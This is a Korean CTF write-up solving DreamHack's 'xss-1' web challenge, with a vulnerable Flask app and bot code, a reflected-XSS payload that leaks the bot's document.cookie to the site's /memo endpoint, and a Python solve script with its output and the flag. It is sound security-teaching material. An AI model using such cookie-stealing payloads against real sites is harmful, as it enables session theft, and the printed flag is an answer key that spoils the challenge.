[๐Ÿฅ‰ Bronze 2] ๋ด‡์˜ ์ฟ ํ‚ค๋ฅผ /memo๋กœ ํ˜๋ ค ํšŒ์ˆ˜ํ•˜๊ธฐ โ€” DreamHack xss-1 ํ’€์ด

2026-06-04ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] ๋ด‡์˜ ์ฟ ํ‚ค๋ฅผ /memo๋กœ ํ˜๋ ค ํšŒ์ˆ˜ํ•˜๊ธฐ โ€” DreamHack xss-1 ํ’€์ด

/vuln์ด ์ž…๋ ฅ์„ ์ด์Šค์ผ€์ดํ”„ ์—†์ด ๊ทธ๋Œ€๋กœ ๋ฑ‰๋Š” reflected XSS. flag๋ฅผ ์ฟ ํ‚ค๋กœ ๋“ค๊ณ  ํŽ˜์ด์ง€๋ฅผ ๋ฐฉ๋ฌธํ•˜๋Š” ๋ด‡์—๊ฒŒ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฃผ์ž…ํ•ด document.cookie๋ฅผ ๊ฐ™์€ ์„œ๋ฒ„์˜ /memo๋กœ ํ˜๋ ค๋ณด๋‚ด๊ณ , ๊ทธ memo๋ฅผ ์ง์ ‘ ์ฝ์–ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ•œ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” xss-1 ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{2c01577e9542ec24d68ba0ffb846508e}


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…xss-1
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Web (Flask + Selenium ๋ด‡)
์ œ๊ณต ํŒŒ์ผ / ์„œ๋ฒ„app.py ๋“ฑ ์†Œ์Šค ์ผ์ฒด / http://<instance-host>:<port>/ (์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ๋ณ€๊ฒฝ)
ํ•ต์‹ฌ ์ทจ์•ฝ์  / ๊ธฐ๋ฒ•reflected XSS๋กœ ๋ด‡์˜ flag ์ฟ ํ‚ค ํƒˆ์ทจ โ†’ /memo๋กœ exfil

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ "์ž…๋ ฅ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡"์ด ์žˆ๋Š” ์„œ๋น„์Šค๋‹ค. ํ”Œ๋ž˜๊ทธ๋Š” ๋ด‡์˜ ์ฟ ํ‚ค์— ๋“ค์–ด๊ฐ€๊ณ , ๊ทธ ๋ด‡์ด ๋‚ด๊ฐ€ ์ค€ ํŽ˜์ด์ง€๋ฅผ ์ง์ ‘ ์—ด์–ด๋ณธ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋ด‡์˜ ๋ธŒ๋ผ์šฐ์ € ์•ˆ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œ์ผœ ์ฟ ํ‚ค๋ฅผ ๋นผ๋‚ด๋Š” ๊ฒŒ ๋ชฉํ‘œ๋‹ค. ๋นผ๋‚ธ ๊ฐ’์„ ๋ณด๋‚ผ ๊ณณ๋„ ๋ฉ€๋ฆฌ ๊ฐˆ ๊ฒƒ ์—†์ด ์„œ๋น„์Šค ์•ˆ์— ์ด๋ฏธ ์žˆ๋‹ค.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” vuln / memo / flag ์„ธ ๊ธฐ๋Šฅ
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” vuln / memo / flag ์„ธ ๊ธฐ๋Šฅ



๐Ÿ”ฌ ๋ถ„์„ โ€” ์„ธ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ํ•œ ์ค„๋กœ ๊ฟฐ์ธ๋‹ค

app.py์—์„œ ๋ณผ ๊ณณ์€ ์…‹์ด๋‹ค.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param                      # ์ด์Šค์ผ€์ดํ”„ ์—†์ด ๊ทธ๋Œ€๋กœ ๋ฐ˜ํ™˜ โ†’ reflected XSS
 
memo_text = ""
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"          # ์ „์—ญ์— ๋ˆ„์  ์ €์žฅ
    return render_template("memo.html", memo=memo_text)
 
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "POST":
        param = request.form.get("param")
        # ๋ด‡์ด flag ์ฟ ํ‚ค๋ฅผ ๋‹จ ์ฑ„ ์šฐ๋ฆฌ๊ฐ€ ์ค€ param์œผ๋กœ /vuln ์„ ๋ฐฉ๋ฌธํ•œ๋‹ค
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

/vuln์€ param์„ ํ•œ ๊ธ€์ž๋„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ๊ทธ๋Œ€๋กœ ์‘๋‹ต ๋ณธ๋ฌธ์œผ๋กœ ๋Œ๋ ค์ค€๋‹ค. <script>๋ฅผ ๋„ฃ์œผ๋ฉด ๊ทธ๋Œ€๋กœ ์‹คํ–‰๋œ๋‹ค โ€” ๊ต๊ณผ์„œ์ ์ธ reflected XSS๋‹ค.

/vuln?param=... โ€” ๋„ฃ์€ HTML์ด ๊ทธ๋Œ€๋กœ ๋ Œ๋”๋œ๋‹ค
/vuln?param=... โ€” ๋„ฃ์€ HTML์ด ๊ทธ๋Œ€๋กœ ๋ Œ๋”๋œ๋‹ค

๋ด‡์€ check_xss โ†’ read_url์—์„œ ๋™์ž‘ํ•œ๋‹ค.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    ...
    driver.get("http://127.0.0.1:8000/")
    driver.add_cookie(cookie)         # flag ๋ฅผ ์ฟ ํ‚ค๋กœ ์ถ”๊ฐ€
    driver.get(url)                   # /vuln?param=<์šฐ๋ฆฌ payload> ๋ฐฉ๋ฌธ
 
def check_xss(param, cookie=...):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

/flag์— param์„ POSTํ•˜๋ฉด ๋ด‡(headless Chrome)์ด flag=DH{...} ์ฟ ํ‚ค๋ฅผ ๋‹จ ์ƒํƒœ๋กœ /vuln?param=<๋‚ด payload>๋ฅผ ์—ฐ๋‹ค. ์ฆ‰ ๋‚ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ด‡ ๋ธŒ๋ผ์šฐ์ €์—์„œ, ํ”Œ๋ž˜๊ทธ ์ฟ ํ‚ค๊ฐ€ ์‚ด์•„์žˆ๋Š” ์ฑ„๋กœ ์‹คํ–‰๋œ๋‹ค. document.cookie๋งŒ ์ฝ์œผ๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ์†์— ๋“ค์–ด์˜จ๋‹ค.

๋ฌธ์ œ๋Š” "์–ด๋””๋กœ ๋ณด๋‚ด๋А๋ƒ"์ธ๋ฐ, /memo๊ฐ€ ๊ทธ ์ž๋ฆฌ์— ์žˆ๋‹ค. ์ž…๋ ฅ์„ ์ „์—ญ memo_text์— ์ฐจ๊ณก์ฐจ๊ณก ์Œ“์•„๋‘๊ณ  ๊ทธ๋Œ€๋กœ ๋ณด์—ฌ์ฃผ๋Š” ์—”๋“œํฌ์ธํŠธ๋‹ค. ์™ธ๋ถ€ ์ˆ˜์‹  ์„œ๋ฒ„๋ฅผ ๋„์šธ ํ•„์š” ์—†์ด, ๋ด‡์ด ํ›”์นœ ์ฟ ํ‚ค๋ฅผ ์—ฌ๊ธฐ๋กœ ์ ์–ด๋‘๊ฒŒ ํ•œ ๋’ค ๋‚ด๊ฐ€ /memo๋ฅผ ์—ด์–ด ์ฝ์œผ๋ฉด ๋œ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ๋ด‡์ด ์ž๊ธฐ ์ฟ ํ‚ค๋ฅผ memo์— ์ ๊ฒŒ ๋งŒ๋“ ๋‹ค

๋…ธ๋ฆด ๊ณณ์€ ์ •ํ•ด์กŒ๋‹ค. ๋ด‡ ๋ธŒ๋ผ์šฐ์ €์—์„œ document.cookie๋ฅผ ์ฝ์–ด /memo?memo=๋กœ ๋„˜๊ธฐ๋Š” ํ•œ ์ค„์ด๋ฉด ๋œ๋‹ค.

<script>location.href="/memo?memo="+document.cookie</script>

๋ด‡์ด /vuln์—์„œ ์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๊ณง์žฅ /memo?memo=flag=DH{...}๋กœ ์ด๋™ํ•œ๋‹ค. ๊ทธ ์ˆœ๊ฐ„ ์„œ๋ฒ„์˜ memo_text์— ํ”Œ๋ž˜๊ทธ ์ฟ ํ‚ค๊ฐ€ ์ €์žฅ๋œ๋‹ค. ๋ด‡์€ ์ž๊ธฐ ์ผ์„ ๋งˆ์น˜๊ณ  ์‚ฌ๋ผ์ง€์ง€๋งŒ, ์ ์–ด๋‘” ๋ฉ”๋ชจ๋Š” ์ „์—ญ ๋ณ€์ˆ˜๋ผ ๋‚จ๋Š”๋‹ค.

์ด์ œ ๋‚ด๊ฐ€ ํ‰๋ฒ”ํ•˜๊ฒŒ /memo๋ฅผ GETํ•˜๋ฉด, ๋ด‡์ด ๋‚จ๊ธด ์ค„์ด ๊ทธ๋Œ€๋กœ ๋ณด์ธ๋‹ค.

/memo โ€” ๋ด‡์ด ํ˜๋ฆฐ flag ์ฟ ํ‚ค๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚จ์•„์žˆ๋‹ค
/memo โ€” ๋ด‡์ด ํ˜๋ฆฐ flag ์ฟ ํ‚ค๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚จ์•„์žˆ๋‹ค

/flag ํŽ˜์ด์ง€์˜ ํผ์€ http://127.0.0.1:8000/vuln?param= ๋’ค์— ๋‚ด ์ž…๋ ฅ์„ ๋ถ™์ด๋Š” ๊ตฌ์กฐ๋ผ, ์ž…๋ ฅ๋ž€์— ์œ„ ์Šคํฌ๋ฆฝํŠธ๋งŒ ๋„ฃ์–ด ์ œ์ถœํ•˜๋ฉด ๋œ๋‹ค.

/flag โ€” param ์ž…๋ ฅ ํผ (์—ฌ๊ธฐ๋กœ payload๋ฅผ ๋ด‡์—๊ฒŒ ๋ณด๋‚ธ๋‹ค)
/flag โ€” param ์ž…๋ ฅ ํผ (์—ฌ๊ธฐ๋กœ payload๋ฅผ ๋ด‡์—๊ฒŒ ๋ณด๋‚ธ๋‹ค)



๐Ÿš€ Full Exploit

ํผ ๋Œ€์‹  requests๋กœ ๋‘ ๋ฒˆ ์˜๋ฉด ๋๋‚œ๋‹ค. /flag์— payload๋ฅผ POSTํ•ด ๋ด‡์„ ๋Œ๋ฆฌ๊ณ , /memo๋ฅผ ์ฝ์–ด ํšŒ์ˆ˜ํ•œ๋‹ค.

#!/usr/bin/env python3
import re
import requests
 
BASE = "http://host3.dreamhack.games:21789"
 
# ๋ด‡ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰๋˜์–ด flag ์ฟ ํ‚ค๋ฅผ /memo ๋กœ ํ˜๋ ค๋ณด๋‚ด๋Š” ํŽ˜์ด๋กœ๋“œ
payload = '<script>location.href="/memo?memo="+document.cookie</script>'
 
# 1) /flag POST โ†’ ๋ด‡์ด flag ์ฟ ํ‚ค๋ฅผ ๋“ค๊ณ  /vuln ์—์„œ payload ์‹คํ–‰ โ†’ /memo ์— ์ฟ ํ‚ค ์ €์žฅ
r = requests.post(f"{BASE}/flag", data={"param": payload}, timeout=15)
print(f"[*] /flag ์‘๋‹ต: {r.text.strip()}")
 
# 2) /memo GET โ†’ ๋ด‡์ด ์ €์žฅํ•œ document.cookie(=flag=...) ํšŒ์ˆ˜
r = requests.get(f"{BASE}/memo", timeout=15)
memo = re.search(r"<pre>(.*?)</pre>", r.text, re.S).group(1)
print(f"[*] /memo ๋‚ด์šฉ:\n{memo.strip()}")
 
m = re.search(r"DH\{[^}]+\}", memo)
print(f"\n[+] FLAG: {m.group(0) if m else '(๋ชป ์ฐพ์Œ)'}")
[*] /flag ์‘๋‹ต: <script>alert("good");history.go(-1);</script>
[*] /memo ๋‚ด์šฉ:
flag=DH{2c01577e9542ec24d68ba0ffb846508e}
 
[+] FLAG: DH{2c01577e9542ec24d68ba0ffb846508e}

๋ด‡์ด good์„ ๋Œ๋ ค์ค€ ๊ฑด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์—๋Ÿฌ ์—†์ด ๋Œ์•˜๋‹ค๋Š” ๋œป์ด๊ณ , /memo์—๋Š” ๋ด‡์ด ๋“ค๊ณ  ์žˆ๋˜ ์ฟ ํ‚ค๊ฐ€ ๊ทธ๋Œ€๋กœ ์ ํ˜€ ์žˆ๋‹ค.

solve.py ์‹คํ–‰ โ€” ๋ด‡ ํŠธ๋ฆฌ๊ฑฐ ํ›„ /memo์—์„œ ํ”Œ๋ž˜๊ทธ ํšŒ์ˆ˜
solve.py ์‹คํ–‰ โ€” ๋ด‡ ํŠธ๋ฆฌ๊ฑฐ ํ›„ /memo์—์„œ ํ”Œ๋ž˜๊ทธ ํšŒ์ˆ˜

DH{2c01577e9542ec24d68ba0ffb846508e}


๐Ÿ“ ์ •๋ฆฌ

์ถœ๋ ฅ ์ง€์ ์—์„œ ์ด์Šค์ผ€์ดํ”„๋ฅผ ๋นผ๋ฉด ๊ทธ๊ฒŒ XSS๋‹ค.

/vuln์€ param์„ ๊ทธ๋Œ€๋กœ ๋ฐ˜ํ™˜ํ•œ๋‹ค. Jinja2์˜ ์ž๋™ ์ด์Šค์ผ€์ดํ”„๋ฅผ ๊ฑฐ์น˜์ง€๋„ ์•Š๊ณ  ๋ฌธ์ž์—ด์„ ์ง์ ‘ ๋Œ๋ ค์ฃผ๋‹ˆ, ์ž…๋ ฅ์ด ๊ณง ๋งˆํฌ์—…์ด ๋œ๋‹ค. ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ HTML๋กœ ๋‚ด๋ณด๋‚ผ ๋• ๋ฐ˜๋“œ์‹œ ์ด์Šค์ผ€์ดํ”„ํ•˜๊ฑฐ๋‚˜ ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ๊ฑฐ์ณ์•ผ ํ•œ๋‹ค.

ํ›”์นœ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ผ ๊ณณ์€ ๊ผญ ์™ธ๋ถ€์ผ ํ•„์š”๊ฐ€ ์—†๋‹ค.

๋ณดํ†ต XSS ์ฟ ํ‚ค ํƒˆ์ทจ๋ผ๊ณ  ํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ fetch/Image๋ฅผ ์˜๋Š” ๊ทธ๋ฆผ์„ ๋– ์˜ฌ๋ฆฐ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ด ๋ฌธ์ œ๋Š” ์ž…๋ ฅ์„ ์ €์žฅํ•˜๊ณ  ๋˜๋Œ๋ ค์ฃผ๋Š” /memo๊ฐ€ ๊ฐ™์€ ์ถœ์ฒ˜์— ์žˆ์–ด์„œ, ๋ด‡์ด ๊ทธ์ชฝ์œผ๋กœ ํ•œ ๋ฒˆ ์ด๋™ํ•˜๊ฒŒ๋งŒ ํ•ด๋„ ํšŒ์ˆ˜๊ฐ€ ๋๋‚œ๋‹ค. ๋™์ผ ์ถœ์ฒ˜๋ผ CORSยท์ฟ ํ‚ค ๋„๋ฉ”์ธ ๋ฌธ์ œ๋„ ์—†๋‹ค.

๋ด‡์€ ์‹ ๋ขฐ๋œ ์ปจํ…์ŠคํŠธ๋ฅผ ๋Œ€์‹  ์‹คํ–‰ํ•ด์ค€๋‹ค.

ํ”Œ๋ž˜๊ทธ๋Š” ๋ด‡์˜ ์ฟ ํ‚ค์—๋งŒ ์žˆ๊ณ  ๋‚˜๋Š” ๊ทธ ๊ฐ’์„ ๋ชจ๋ฅธ๋‹ค. ํ•˜์ง€๋งŒ ๋ด‡์ด ๊ทธ ์ฟ ํ‚ค๋ฅผ ๋‹จ ์ฑ„ ๋‚ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์ฃผ๋‹ˆ, ๋‚ด๊ฐ€ ์ง์ ‘ ๋ชป ์ฝ๋Š” ๊ฐ’์„ ๋ด‡์˜ ์†์„ ๋นŒ๋ ค ์ฝ์–ด๋‚ธ ์…ˆ์ด๋‹ค. ์ž…๋ ฅ URL์„ ๊ทธ๋Œ€๋กœ ์—ด์–ด๋ณด๋Š” ๋ด‡์ด ์žˆ๋‹ค๋ฉด ๊ทธ ์ž์ฒด๊ฐ€ ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 1] ๋ด‡์˜ admin ํ—ค๋”๋ฅผ ๋นŒ๋ ค /whoami ํ„ธ๊ธฐ โ€” DreamHack Are you admin? ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ๋ด‡์˜ admin ํ—ค๋”๋ฅผ ๋นŒ๋ ค /whoami ํ„ธ๊ธฐ โ€” DreamHack Are you admin? ํ’€์ด

intro ํŽ˜์ด์ง€์˜ name์ด `| safe`๋กœ ์ด์Šค์ผ€์ดํ”„ ์—†์ด ๋ Œ๋”๋˜๋Š” reflected XSS. ๋ด‡์€ ๋ชจ๋“  ์š”์ฒญ์— admin Basic-Auth ํ—ค๋”๋ฅผ ์ž๋™์œผ๋กœ ๋ถ™์ด๊ณ  ๋‹ค๋‹ˆ๋ฏ€๋กœ, ๋ด‡ ์ปจํ…์ŠคํŠธ์—์„œ /whoami๋ฅผ fetchํ•˜๋ฉด admin์œผ๋กœ ์ธ์ฆ๋ผ FLAG๊ฐ€ ๋‚˜์˜จ๋‹ค. ์ด๋ฅผ webhook์œผ๋กœ ๋นผ๋‚ธ ๊ณผ์ •.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +6
[๐Ÿฅ‰ Bronze 2] ๋Œ€์†Œ๋ฌธ์ž ํ•œ ๋—์œผ๋กœ ๋šซ๋Š” XSS ํ•„ํ„ฐ โ€” DreamHack XSS Filtering Bypass ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ๋Œ€์†Œ๋ฌธ์ž ํ•œ ๋—์œผ๋กœ ๋šซ๋Š” XSS ํ•„ํ„ฐ โ€” DreamHack XSS Filtering Bypass ํ’€์ด

scriptยทonยทjavascript: ๋ฅผ ์ง€์šฐ๋Š” ํ•„ํ„ฐ๊ฐ€ ์žˆ๋Š”๋ฐ๋„, ๊ฒ€์‚ฌ๋Š” ์†Œ๋ฌธ์ž๋กœ ํ•˜๊ณ  ์น˜ํ™˜์€ ์›๋ณธ ๊ทธ๋Œ€๋กœ ํ•œ๋‹ค๋Š” ํ•œ ์ค„ ์ฐจ์ด ๋•Œ๋ฌธ์— <sCrIpt> ๊ฐ€ ๊ทธ๋Œ€๋กœ ์‚ด์•„๋‚จ๋Š”๋‹ค. ๋ด‡์ด ๋“ค๊ณ  ๋ฐฉ๋ฌธํ•˜๋Š” flag ์ฟ ํ‚ค๋ฅผ ๋™๊ธฐ XHR๋กœ /memo์— ํ˜๋ ค ํšŒ์ˆ˜ํ•œ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค. location.href ๋น„๋™๊ธฐ ์ „์†ก์ด driver.quit ๋ ˆ์ด์Šค์— ๊ฑธ๋ ค ์‹คํŒจํ–ˆ๋˜ ์‚ฝ์งˆ๊นŒ์ง€ ๋‹ด์•˜๋‹ค.
#dreamhack#ctf#web+6
2026-06-26#dreamhack +5
[๐Ÿฅ‡ Gold 4] ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ๋ง‰๋Š” ๋ฌธ์ œ โ€” DreamHack PATCH-1 ํ’€์ด
blog

[๐Ÿฅ‡ Gold 4] ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ๋ง‰๋Š” ๋ฌธ์ œ โ€” DreamHack PATCH-1 ํ’€์ด

122์ค„์งœ๋ฆฌ Flask ๋ฉ”๋ชจ API ์— ์‹ฌ์–ด ๋‘” ์ทจ์•ฝ์ ์„ ์ „๋ถ€ ํŒจ์น˜ํ•ด์•ผ flag ๊ฐ€ ๋‚˜์˜ค๋Š” ๋ฌธ์ œ. f-string SQLi ๋‘ ๊ณณ, format() ์ด ๋งŒ๋“ค์–ด ๋‚ธ Jinja2 SSTI ์™€ ์ €์žฅํ˜• XSS, ๋ฉ”๋ชจ ์†Œ์œ ์ž ๊ฒ€์ฆ ๋ˆ„๋ฝ, ์†Œ์Šค์— ๋ฐ•ํžŒ secret_key ๊นŒ์ง€ ์—ฌ์„ฏ ๊ตฐ๋ฐ๋ฅผ ๋กœ์ปฌ์—์„œ ์žฌํ˜„ํ•ด ๋†“๊ณ  ๊ณ ์ณค๋‹ค. ๊ณต๊ฒฉ๋งŒ ๋ง‰๊ณ  ๋๋‚˜๋ฉด ์•ˆ ๋˜๊ณ  SLA(๊ธฐ๋Šฅ ํšŒ๊ท€) ๋„ ๊ฐ™์ด ํ†ต๊ณผํ•ด์•ผ ํ•œ๋‹ค.
#dreamhack#ctf#web+8
2026-08-06#dreamhack +5